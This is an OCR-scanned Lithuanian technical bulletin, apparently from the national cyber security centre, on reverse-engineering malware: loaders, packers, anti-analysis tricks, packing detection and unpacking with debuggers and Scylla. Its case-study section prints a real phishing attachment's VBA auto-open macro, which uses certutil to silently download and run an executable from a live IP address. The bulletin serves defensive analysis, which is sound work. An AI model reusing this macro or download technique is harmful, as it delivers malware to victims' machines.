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Nacionalinis kibernetinio saugumo centras, vykdydamas kibernetiniy incidenty
tyrimus, esant poreikiui analizés metu atlieka atvirkstinés kenkéjisko kodo inzinerijos veiksmus.
Virusy, logeriy, trojos arkliy ir pan. kenkéjisko kodo kiiréjai stengiasi kaip jmanoma labiau
paslépti pédsakus, uzmaskuoti tam tikrus raktinius loginius elementus, sgsajy sgSaukas ir kodo
identifikacijos elementus. Siame biuletenyje aptariamas vienas i§ metoduy, kuriuo siekiama
apsunkinti tyréjo, siekiancio nustatyti kodo paskirtj ir atliekamas operacijas, darbg, bei vieno
konkretaus atvejo analizé.

Dél didesnés nei jprasta apimties suskaidéme tema j tris dalis.

Biuleteniy tipas — techninio pobidZio. Sis informacinis biuletenis yra antroji dalis.

| dalis — analizés pagrindai
e Analizés metody apzvalga;

e Statinés analizés pagrindai, pirminé analizé;

e Naudingi jrankiai.

Il dalis — pagrindiniai slépimosi metodai
e Jkrovéjai (angl. loaders), pakeriai (angl. packers), droperiai (angl. droppers);

e Obfuskacija, Sifravimas, kodavimas;

e Polimorfinis, metamorfinis kodas.

[l dalis — gilioji analizé
e Dinaminés analizés jrankiai ir metodai;

e Misrios analizés atvirkstiné kenkéjisko kodo inzinerija;
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Jvadas

Pradinéje uzkrato stadijoje, pagrindinis kenkéjisko kodo (angl. malware; toliau - KK) tikslas apeiti
jrangoje jdiegtas apsaugos sistemas (vadinamas EDR - angl. Endpoint detection and response
arba AV - angl. anti-virus). Dél to beveik visuomet KK kiiréjai iSskaido ataka j daugelj pakopy,
kuriy keliy pirmuyjy Zingsniy tikslai dazniausiai buna tokie:

e Aptikti aplinka (pvz. kokia OS, ar tai angl. sandbox, kokie naudotojai, kokios apsaugos
priemonés);

e UiZsimaskuoti nuo EDR, jj iSjungti arba kitaip apeiti, pvz. rootkit/bootkit;
e |gauti aukStesnes teises (angl. elevate), pvz. local admin;

vy

e Parsiystiir/ar dekoduoti/issifruoti pagrindinius duomenis (angl. payload).

Siy tiksly nepasiekus, j kitg stadijg KK nepereina, o daZnai tiesiog pats save issitrina, o jeigu gali
tai ir iSsivalo paliktus pédsakus.

Pakeriai (angl. packers) - tai jrankiai kuriy pagalba apsunkinama paleidziamyjy faily atvirkstine

inZinerija. Komerciniai pakeriai atlieka ne vieng funkcija, taciau jy retas naudojimas jprastose
programose leidZia jais pakuotus failus Zyméti jtartinais dazniau.

Nauja failo antraste

ISpakuojanti sekcija

Originalus (UPX1)

Pakavimo _
~ algoritmas

paleidziamasis
failas

| 4

Supakuota

paleidziamoji sekcija
(UPX2)

e  Kompresija (angl. compressor) - sumazina bendrg KK dyd,j.
e  Apsauga (angl. protector) - apsunkina atvirkstine inZinerijg. Metodai:
— anti-debugging - detektuoja prieigg prie proceso (IsDebuggerPresent API
funkcija);
— anti-virtualization - tikrina virtualizacijos funkcionaluma (detects VmWare, anti-
sandbox);

— anti-dumping - istrina failo antrastes atmintyje (angl. in-memory), tai apsunkina
failo iStraukimg bandant iSsaugoti atminties atvaizda (angl. memory dump);
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— anti-tampering via checksums - tikrina failo vientisuma. T.y. jei bandytume
iSjungti anti-debugging funkcijg buty pakeistos failo sumos ir KK susinaikinty.

e  Kriptografija (angl. cryptor) - pavercia turinj neperskaitomu iki isSifravimo momento. Tai
gali bati atliekama segmentuotai, t.y. pries paleidZiant kiekvieng funkcija.

e  Transformacijos - perraso originaly kodg, pvz. virtualizuoja kodg paversdami jj j virtualy
su jskiepyta virtualia masina (angl. embeded VM).

e  Mutuoja koda paliekant tas pacias
instrukcijas taciau pakeiciant jy
tékme (angl. reflowing) ar
vientisuma (angl. oligomorphism).
Populiari metodika efektyvesniam

UPX, MPRESS, PECoMPACT, FSG,
ASPACK, MEW, ENIGMA,

kirminy (angl. worm) platinimui PACKMAN, ASPROTECT, PELOCK,
bet naudojama ir kito tipo KK. THEMIDA, PE-ARMOR, ARMADILLO,
Platinant mutacijos keicia kodo NSPAck, OBsiDIUM, UPC, NSPM
strukturg tuo paciu modifikuojant Populiaris pakeriai

signataras, dél to tokj KK sunkiau
aptikti, o signatury duomeny bazés
tokiu atveju reikalauja
neproporcingai daugiau resursy.

File name

> C:\Malwaremalw_compr.exe

File type Entry point Base address

1 1 : Demangle
00408da0 > | Disasm | 00400000 Memorymap |

PE32

File info MIME Hash Strings | Signatures | Hex , Entropy VirusTotal
Sections Time date stamp Size of image

0003 > | 2008-07-13 21:47:12 00002000 aniTest: !

Scan Endianness Mode Architecture
Automatic LE 32-bit 1386

* PE32
Packer: UPX(3.96)[NRV, best]
Compiler: MinGW(-)[-]
Linker: GNU linker Id (GNU Binutils)(2,56*)[Console32, console]
Overlay: Binary

Signatures ‘ [:] Recursive scan [] Deep scan D Heuristic scan [:] Verbose
Directory | 100% > | Log | [7] All types 191 msec
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Pakeriy funkcionalumo specifika pasizymi panaudojimu i$ anksto, t. y. jrankiai skirti apdoroti
tikrajj funkcionaluma atliekanciam KK dar jam nepatekus j taikinio jrenginj. Jy funkcionalumas
skirtas pirmajam Zingsniui jvykdyti, kurio metu KK yra pats pazeidZiamiausias. Jj sékmingai
jgyvendinus, toliau seka eksploito (angl. exploit - “pazeidziamumg iSnaudojantis kodas”)
vykdymas - daZniausias pagrindinis KK nesulys (angl. payload) pirmame etape. Sio tikslai gali bati
jvairts priklausomai nuo atakuojanciojo tiksly, taciau pagrindiniai uzdaviniai gali buti tokie
(sarasas ne pilnas):

e  [Sjungti EDR;

e |gauti pakeltas teises (angl. elevation);

e Atlikti injekcijg (pvz. “reflective DLL injection”);

e  Suformuoti atsargine prieigg (angl. backdoor) PE faile;

e  UiZgrobti DLL (angl. DLL hijacking).

Kenkejiskas kodas
(pvz. eksploitas)

Puolantysis pasiruosia

kenkejiska kodg

Jkrovéjo (angl. loader) vienintelis tikslas yra parsiysti ir paleisti supakuotg droperj. Dauguma
jkrovéjy turi savyje dekodavimo ar isSifravimo funkcionaluma. Atsiystas ir paleistas nesulys
savyje gali turéti papildomg jkrovéjo funkcionaluma ir savo ruoztu veiksmus kartoti,
atsiysdamas, dekoduodamas ir paleisdamas kitg nesulj ir taip toliau. Priklausomai nuo KK
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sudétingumo Siy etapy gali bati net 10 ar daugiau, kuriy kai kuriuose atliekami aplinkos
patikrinimai, paleidziami eksploitai ir pan. priklausomai nuo KK karéjo pasirinkimo. Paskutiniame
etape (n) seka funkcionalumas kurj kenkéjas labiausiai slepia nuo atvirkstinés inzinerijos, pries
tai einanciais etapais siekdamas apsunkinti ir prailginti saugumo specialisty darba.
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Folder PATH listing
Volume serial number is 383C-99380
C:.

Atvejo pavyzdys

Panaudojame nemokamg , Altap Salamander”
(https://www.altap.cz/) jrankj atidaryti kenkeéjo siystg
laiSka, kurj fiksavo apsaugos sistema (realus atvejis). docProps
LaiSkas iSsaugotas eml formatu. I3 jo nusikopijuojame app.xml
xslx formato failg j kitg aplanky. Tuomet core.xml
pasinaudodami 7-zip iSskleidZiame nukopijuotg failg
(faily struktdrg galime patikrinti cmd.exe komanda sharedStrings. xml
>tree /f). styles.xml

vbaProject.bin

WOrKDookK . Xm

[Content Types].xml

Perskaityti VBA makro-komandy kodg galime drawings
pasinaudoje Excel, taciau tai pavojinga dél kodo drawingl .xml
paleidimo galimybés. Tai atlikite tik izoliuotoje ir L
kontroliuojamoje aplinkoje, pvz. virtualioje masinoje, _rels
. . . .. - o drawingl.xml.rels
kurioje galima atstatyti versijg prie$ paleidima.
Alternatyvus metodai, tai jvairus jrankiai, leidZiantys madia
perskaityti koda neatidarius failo tiesiogiai. Siuo imagel.png
atveju, pasinaudojus Web jrankiu OnlineHashCrack
matome vienintele funkcijg, paleidziamg automatiskai theme

atidarius Excel darbo knyga. iz izl

worksheets
sheetl.xml
sheet2. xml

- rels
sheetl.xml.rels

- rels
workbook.xml.rels

- rels
.rels



https://www.altap.cz/
https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php
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Private Sub Workbook_Open()

PID = Shell("cmd /c certutil.exe -urlcache -split -f ""http://37.139.128.94/dx/Doc60521706.exe""
LZiwsctexe.exe && Fiwscl.exe.exe”, vbHide)

End Sub

Siuo atveju matome, jog paleidZiama komanda [***cmd /c certutil.exe -urlcache -split -f
“<...>"]*** netgi néra uzkoduota, o iSsaugota atviru tekstu. Toks sprendimas galimai ne
atsitiktinis, mat apsaugos priemonés uzkoduotus jtartinus segmentus daznai vertina griezciau.

Komandoje panaudojamas Windows certutil jrankis, priverciant jj atnaujinti URL jrasus. Daugiau
informacijos apie komandos nustatymus, randame oficialiame Microsoft tinklalapyje.

Taip pat Google paieskoje nesunkiai randame panaudotos technikos pavyzdziy. Matome, jog
tokia technika gan populiari, nes nemaza dalis AV Sio vektoriaus neaptinka (Sio biuletenio

raSymo momentu): Avira.com, BleepingComputer.

Pakeriy panaudojimo identifikavimas
Ar KK pakuotas ar ne nustatome atsizvelgdami j Sias failo savybes:

e  Sekcijy vardai (angl. section names). Kai kurie pakeriai sukuria savus failo sekcijy vardus,
pagal kuriuos galima i$ karto atpazinti pakavimui panaudotg jrankj. Pvz. UPX, .vmp,
.MPRESS. Kai kurie kiti pakavimo jrankiai sekcijy vardus visiSkai iStrina. Be to gali trukti
standartiniy failo sekcijy vardy, tokiy kaip: .text, .data, .idata, .rsrc, .code, etc.

e Didelé bity entropija (angl. high entropies). Duomeny kompresija ar kriptografija stipriai
padidina entropijg, o tai galime laikyti pakerio panaudojimo indikatoriumi. Tai atitikty
didelés entropijos sekcijas placiuose failo segmentuose, pvz. didesnius nei 7.
Paveikslélyje matome pavyzdj turintj didelj segmentg kuriame entropija siekia netgi 8!


https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
https://www.avira.com/en/blog/certutil-abused-by-attackers-to-spread-threats
https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/
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Type Offset

i :
Reload |
PE32 00000000 00000919 = ]

Total

6,73710 | ¢ 9%) | Save | |Save diagram |

Regions
Offset i Entropy Status
2.24905 not packed PE Header
6.24361 not packed Section(0)[' text']
7.82057 packed Section(1)['.data’]

5.54924 not packed Section(2)['.rsec’] :

o = N WA Uy N

e  Teksto eiluciy nebuvima (angl. lack of strings). Teksto eilutés yra kertinis aplikacijos
funkcionavimo elementas, net KK kuriam nereikalinga sgveika su naudotoju. Tokias
eilutes faile suformuoja ir kompiliatorius, tuo tarpu supakuoti paleidZziamieji failai neturi
atviru tekstu iSsaugoty eiluciy, nes jos blna uzsifruotos ar sukompresuotos.

e Importavimo adresy lentele (angl. Import address table, |1AT). IAT lentelé atspindi didele
dalj failo funkcionalumo, tuo tarpu pakeriai skirti slépti didzZigjg dalj API, tokiu budu
slépdami funkcionaluma. Daznai vienintelés funkcijos kuriy reikalauja tai
“GetProcAddress” ir “LoadLibrary”. Kiti gali neturéti importy is viso ir tiesiog naudoti
shellcode instrukcijas pasiekti reikalingiems API.

e  Jrankiy rinkinj (angl. tooling). Analitikos jrankiai tokie kaip , Detect it easy”, , pelD”, ,PE-
Studio” padeda lengviau aptikti Zinomus pakerius ir netgi atvaizduoja informacijg apie
kompiliatoriy ir programavimo kalbg.

ISsipakavimo mechanikos

Pakuotas failas blna sudarytas is dviejy sekcijy, kurias pavadinkime ,galva” (angl. stub) ir , ktnu”
(angl. body, executable section). Failo iSpakavimo funkcionalumas yra ,,galvos” dalyje. Paleidus
failg joje esancios instrukcijos iSpakuoja ir suformuoja paleidZziamojo failo struktirg naujai,
tuomet jj paleidzia. Paleidimas galimas savo paties procese arba nuotoliniu bidu (angl. remote
process). Jei tai atliekama nuotoliu, reikalinga kodo injekcija j svetima procesg, taciau pries
paleidimg iSpakavimas vis vien vyksta savoje atmintyje. Po to seka importy adresy lentelés (IAT)
sutvarkymas ir tokiu bidu atkuriamas paleidziamojo failo funkcionalumas (dél to pakeriai yra
taikomojo metamorfinio kodo pavyzdys).



Uz iSpakavimg atsakingas segmentas savyje turi iteracijy ciklus kuriuose yra isSifravimo,

dekompresijos ar dekodavimo funkcionalumas. Pavyzdziui, gali buti naudojama base64, XOR,

AES, ZIP ir pan.

Supakuota
paleidziamoli sekcija
(UPXZ

Tustia sekcija

ISpakavimo metodika

paieidziamoji se
(UPX2)

Qriginalus
paleidiiamasis faiias

Pasinaudodami derinimo (angl. debugger) ir Scylla jrankiu galime iSpakavimo darbg perleisti
paciai pakerio antrastei ir suformuoti iSpakuoto formato faila:

B ser e e

0 NMO TN

A NS0 1000
JOAD : SRS 1D00
N0 2040 1000

X0 ROLUSEDS

1+ BOMBSEDE dword_40SED0
PR OOLOSEDD UPXE

£ 190425008 |

Lo _ 83000
oy |

E8 241 a0

s Ledherrim]
whr [oee], %
PRr [ewsedmn],

PFReizned

T e |

et oy SR - (s bi_ ki . i, -

O

e,

{i Ahast Low_4winid)

SSSUmME €51

jorg 401

assume os:Mthing, ss:nothing, ds:UPX®, fs:nothing, gs:nothin
dd 1384k dup(?)

dd 1ecach dup(?) 3 CODE XREF: starteindlyf
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[ PO =
File Impodts Toece Mise Help
.. . . Altach 0 " acer process
1. Identifikuojame call/jump P A R TR ) TR
instrukcijg sekancig po iSpakavimo | —
ciklo. Tai atliekame Ghidra ar IDA o e 8

HH . . H H v rec 00028004 rmod: ket B vt D00 nerve Lacaiioe
Pro dekompiliatoriumi (daugiau apie Arismaseonueissairi s oot
Ve .. . . ¢ rvw 0003000C Mo hervad 12,8 ord; G371 reme: Geti angPattianed
panasias operacijas — Biuletenio lll v ek 0032803 tod: berattd e, 140 e GatFlelormarseniyHundie
¢ rvs 000280 14 mod) heneC) 8 ord 0058 neme: JProcessorFeataeiresent
dalyje)’ ¢ rvm 000700 18 o bevretad ¥ ard: O30 rww: Gt TekCount

¢ P 00028020 st herat 124 o 0638 fasve: Rbvevgd
res 00032020 mod: heynelQ % 003 06 XC rave: StrovW
¥ rew 00028034 mod: b2 o g 02 re; Gartod det tarele W

2. Pazymime stabdymo taska (angl. Apiscesoreiine duttrey Yot mmnipanar it TN .

breakpoint) $ios instrukcijos vietoje; e b o
AT #o A0S Turo

3. JZzengiame (angl. step into) it i AT tctosearch LR

call/jump instrukcijg ir atsiduriame soe | 00000364 Sehpels P Ove

OEP (angl. original entry point) ™

taske; JAT Seavths A, Fumsbo TAT o 20428000 e 00

JAT Sesech Advy TAT vA 00920000 RvA
1AT Search Sor: [AT YA O0AZFFC AVA

4. ISsaugome atminties turinj (angl.
dump memory) ir i$ naujo

——— ¢ ik 0 imogebene 0000 wpe SOOI
suindeksuojame (rebuild) |AT su
Scylla.
Paminéty jrankiy sgrasas
Jrankis Paskirtis
Scylla IAT rebuild, mem dump
Detect it easy, pelD, PE-Studio Pakeriy detektavimas, informacija apie failg
Altap Salamander EML priedy atskyrimas
x64dbg, WinDbg Nemokami debugeriai
Ghidra, IDA Pro PaleidZiamujy faily, DLL, analizatoriai ir dekompiliatoriai

Démesio! NKSC neatsakingas uz jrankiy patikimuma, palaikyma ir sauguma. Biuleteniuose
pateikiami jrankiai tik pavyzdiniai, daznai - atviro kodo ir nemokami, taigi riziky valdymas yra
naudotojo rankose. Bet kokiu atveju darbas su KK turi bati apdairus ir atliekamas izoliuotose
sistemose, siekiant kiek jmanoma sumazinti galima Zalg jusy sistemoms ir duomenims.



